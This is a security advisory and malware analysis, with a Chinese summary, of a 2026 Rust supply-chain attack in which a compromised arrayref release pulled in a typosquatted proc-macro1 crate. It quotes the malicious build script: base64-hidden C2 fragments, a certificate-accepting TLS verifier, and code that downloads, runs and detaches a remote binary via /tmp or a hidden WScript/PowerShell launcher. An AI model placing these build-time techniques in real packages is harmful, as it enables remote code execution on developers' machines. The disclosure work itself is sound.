恶意 Rust 库 arrayref 在构建时执行恶意载荷
Malicious Rust crate Arrayref runs a build-time payload

原始链接: https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/

2026年8月20日,在开发者账户遭入侵后,热门 Rust 库 `arrayref` (0.3.10) 和 `proc-macro1` 的恶意版本被发布到了 crates.io。此次攻击涉及一个名为 `proc-macro1` 的“拼写劫持”库,该库冒充了合法的 `proc-macro2` 库。 此次攻击在编译过程中自动触发。恶意的 `proc-macro1` 包含一个隐藏的 `build.rs` 脚本,该脚本通过下载并执行特定于平台的远程二进制文件来绕过安全防线。这些二进制文件与一个命令与控制服务器 (23.254.165.112) 进行通信,极有可能用于窃取数据或建立持久性后门。为逃避检测,该构建脚本使用了 Base64 编码字符串,接受无效的 TLS 证书,并采用了特定于平台的技术(例如在 Windows 上使用 WScript)将有效载荷从编译器进程中分离出来,从而确保恶意代码在构建完成后继续运行。 crates.io 团队现已删除了这些恶意软件包。然而,由于 `arrayref` 是 Rust 图形界面生态系统中广泛使用的传递依赖项,此次事件凸显了严重的供应链风险。建议开发者审计其 `Cargo.lock` 文件及相关依赖,以确保使用的是这些库的合法且经过验证的版本。

Rust 社区正因 `arrayref` crate 遭受的供应链攻击而陷入震荡,该软件包被劫持以执行恶意的编译时负载。此次事件凸显了包括 Rust 的 `cargo` 在内的现代包管理器在处理依赖项方面存在的重大漏洞。 社区讨论的核心议题包括: * **信任与编译时安全:** 批评者认为 `cargo` 及类似工具(如 `npm`)存在根本性缺陷,因为它们在安装或编译依赖项时会执行任意代码(通过 `build.rs` 或过程宏)。许多人建议实施沙盒机制、加入许可授权机制,或为新软件包版本设置强制的“冷却期”。 * **依赖项管理规范:** 关于“内置一切”与“极简主义”标准库的争论持续升温。支持大型标准库的一方认为,过度依赖成百上千个微小的第三方“左填充(left-pad)”式依赖,会产生不必要且难以管理的攻击面。 * **“账号被盗”问题:** 即便基础设施本身是安全的,攻击者也越来越多地针对维护者个人(例如通过窃取凭证)进行攻击。 * **拟议解决方案:** 建议范围涵盖强制命名空间、可复现的封闭构建,以及将生态系统转向经过审查和精选的库,而非依赖向所有人开放的注册表。
相关文章

原文

Summary

On August 20, 2026, a compromised release of the popular Rust crate arrayref appeared on crates.io. Version 0.3.10 added a dependency on a typosquatted crate called proc-macro1, whose build script downloads and runs a remote binary while a project compiles. The code runs at build time, so simply compiling a project that pulled the bad versions is enough to trigger it. The crates.io team has since removed the malicious versions.

Packages involved

The genuine arrayref and append-only-vec crates are maintained by droundy, whose account appears to have been compromised. The corresponding GitHub repositories are no longer available. github.com/droundy/arrayref, github.com/droundy/append-only-vec, and the entire github.com/droundy account all return 404, so the upstream code is no longer available for inspection. A separate account, dtolney, published proc-macro1. The username closely resembles David Tolnay’s real dtolnay account. Its metadata forges authors = ["David Tolnay <[email protected]>"] and points repository at a dtolnay/proc-macro1 path that returns 404.

CrateVersionPublisherStatus
arrayref0.3.10droundy (compromised)Malicious, removed
proc-macro1all versionsdtolney (impersonation)Malicious typosquat, entire crate removed
append-only-vec0.1.9droundy (compromised)Flagged by reporters, same actor
arrayref0.3.9 and earlierdroundyClean

Note that proc-macro1 is not proc-macro2. The real crate that macro authors depend on is proc-macro2. The src/ of the malicious proc-macro1 is a genuine copy of proc-macro2, so builds kept working while the build script ran.

What the build script does

The payload lives in the build script of proc-macro1 1.0.107. It stores its server address as base64 fragments and reassembles them at build time, quoted in the advisory:

// proc-macro1-1.0.107/build.rs (quoted in rustsec/advisory-db#3161)

const SRC_URL_PARTS: &[&str] =

&["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];

const END_URL_PARTS: &[&str] =

&["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];

Decoded, those fragments produce the payload host hxxps://23[.]254[.]165[.]112:9089/ and the command and control address 23[.]254[.]165[.]112:443. The script fetches an architecture-specific binary over a TLS connection that accepts any certificate without validation, then runs it detached from the build. On Unix it drops and runs /tmp/rust-setup. On Windows it writes a PowerShell script and a VBScript launcher under %TEMP% and starts them hidden, then abandons the child process so the compiler does not wait for it.

How it spread

The owner account yanked the older arrayref releases 0.3.5 through 0.3.9. Yanking a crate makes Cargo print a “consider updating to a version that is not yanked” warning, which nudges developers toward the only non-yanked release, the malicious 0.3.10. The reporter who filed the RustSec advisory noted this is how they hit it.

arrayref is widely used as a transitive dependency. It sits deep in common Rust graphs through tiny-skia, sctk-adwaita, and winit, which places it under most GUI work built on egui, eframe, and iced. The crate has about 245 million all-time downloads (244,989,384 at time of writing), with the clean 0.3.9 release accounting for roughly 152 million. Those numbers measure how widely the crate is used rather than a count of affected builds.

Indicators of compromise

TypeIndicatorDetail
Network23.254.165.112:9089Payload host (HTTPS)
Network23.254.165.112:443C2, passed to the payload as argv[1]
File (Unix)/tmp/rust-setupDownloaded executable
File (Windows)%TEMP%\rust-setup.ps1Downloaded PowerShell script
File (Windows)%TEMP%\rust-setup-launch.vbsVBScript launcher
Second-stage namesrust-crate_0.1.0, _0.2.0, _0.3.0, _0.4.0Chosen by OS and architecture

SHA256 of the removed crate artifacts:

ArtifactSHA256
arrayref 0.3.1025ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae
proc-macro1 1.0.10761198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4
proc-macro1 1.0.106b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436

Part 2: Technical Analysis

Our technical analysis covers the two crates behind this incident, arrayref 0.3.10 and proc-macro1 1.0.107. arrayref 0.3.10 pulls in a dependency called proc-macro1. The malicious code is in the build script of proc-macro1, not in arrayref itself.

The injection point in arrayref

arrayref is a small crate of four macros. Up to 0.3.9 it has no build script and no runtime dependencies. Version 0.3.10 keeps that macro source and adds one line to the manifest:

[dependencies.proc-macro1]

This [dependencies.proc-macro1] entry is sufficient to introduce the malicious crate. The requirement 1.0.107 is a caret range, and with only 1.0.106 and 1.0.107 ever published it resolves to the malicious 1.0.107. The crate’s own src/lib.rs is the ordinary macro code, for example the array_ref! macro:

($arr:expr, $offset:expr, $len:expr) => {{

const unsafe fn as_array<T>(slice: &[T]) -> &[T; $len] {

&*(slice.as_ptr() as *const [_; $len])

let slice = &$arr[offset..offset + $len];

Nothing in the arrayref source references proc-macro1, and it does not need to. Cargo builds every declared non-optional dependency, whether or not the code uses it. So the manifest entry alone makes Cargo fetch and build proc-macro1 whenever a project pulls in arrayref 0.3.10, and building it runs the malicious build script.

proc-macro1 is a renamed copy of proc-macro2

The src/ of proc-macro1 is proc-macro2 with a mechanical find-and-replace of proc-macro2 to proc-macro1. The rename reaches into documentation links and even copied issue references, for example html_root_url = "https://docs.rs/proc-macro1/1.0.107" in src/lib.rs and a github.com/dtolnay/proc-macro1/issues/235 link in src/fallback.rs. Because the library code is real proc-macro2, the crate works as a drop-in. This makes the malicious crate less noticeable during a normal build.

The package metadata forges an identity:

repository = "https://github.com/dtolnay/proc-macro1"

The email [email protected] is not David Tolnay’s, and the dtolnay/proc-macro1 repository returns 404. The suspicious difference is in the build dependencies, which real proc-macro2 does not have:

[build-dependencies.base64]

[build-dependencies.rustls]

features = ["ring", "std", "tls12"]

[build-dependencies.ureq]

Those three crates give the build script base64 decoding, a TLS stack, and an HTTP client. These dependencies are unusual for a token-parsing library, and the malicious build script uses them.

The build script payload

The build script splits the server address into base64 fragments and rebuilds it at compile time, so the raw string never appears in the source:

const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];

const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];

Decoded, SRC_URL_PARTS is hxxps://23[.]254[.]165[.]112:9089/ and END_URL_PARTS is 23[.]254[.]165[.]112:443.

The download uses a TLS client that accepts any certificate. The AcceptAll verifier returns success from every certificate and signature check in the rustls ServerCertVerifier trait, so a self-signed certificate on the raw IP passes:

impl ServerCertVerifier for AcceptAll {

fn verify_server_cert(/* ... */) -> Result<ServerCertVerified, rustls::Error> {

Ok(ServerCertVerified::assertion())

// verify_tls12_signature and verify_tls13_signature also return success unconditionally

The build script picks the binary to fetch by operating system and architecture. It supports four targets and aborts the build on anything else:

fn link_suffix() -> &'static str {

match (std::env::consts::OS, std::env::consts::ARCH) {

("linux", "x86_64") => "rust-crate_0.1.0",

("windows", "x86_64") => "rust-crate_0.2.0",

("macos", "x86_64") => "rust-crate_0.3.0",

("macos", "aarch64") => "rust-crate_0.4.0",

(_, _) => panic!("unsupported platform"),

The download and execution run inside main, before the feature gate and the genuine proc-macro2 configuration logic that follows. There is no feature flag or environment check guarding it, so it runs on every build on a supported platform:

// proc-macro1-1.0.107/build.rs (inside main)

let url = src_download_url();

let bytes = download_bytes(&url);

match std::env::consts::OS {

"linux" | "macos" => run_unix_payload(bytes),

"windows" => run_windows_payload(bytes),

os => panic!("unsupported OS: {os}"),

On Unix the build script writes the bytes to /tmp/rust-setup, marks the file executable, and spawns it without waiting, passing the command and control address as the first argument. It sends every standard stream to null:

fn run_unix_payload(bytes: Vec<u8>) {

let path = PathBuf::from("/tmp/rust-setup");

std::fs::write(&path, &bytes).expect("failed to write payload");

Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");

.expect("failed to spawn payload");

On Windows the fetched bytes are a PowerShell script. The build script writes them to %TEMP%\rust-setup.ps1 and starts them through a VBScript launcher under wscript.exe, with a comment in the source explaining why:

// ShellExecute via WScript escapes Cargo's job object; spawned children otherwise

// keep the build script (and `cargo build`) waiting until they exit.

r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,

script = script_path.display(),

let child = Command::new("wscript.exe")

.args(["//B", "//Nologo", launcher_str])

.creation_flags(CREATE_NO_WINDOW)

.expect("failed to spawn wscript launcher");

The launcher runs hidden and does not wait for the process. The source comment states that routing through WScript is what escapes Cargo’s job object, so PowerShell keeps running after the build finishes. The final std::mem::forget leaks the wscript child handle so its destructor never runs. Together this detaches the payload from Cargo. This allows the payload to continue without blocking the Cargo build.

联系我们 contact @ memedata.com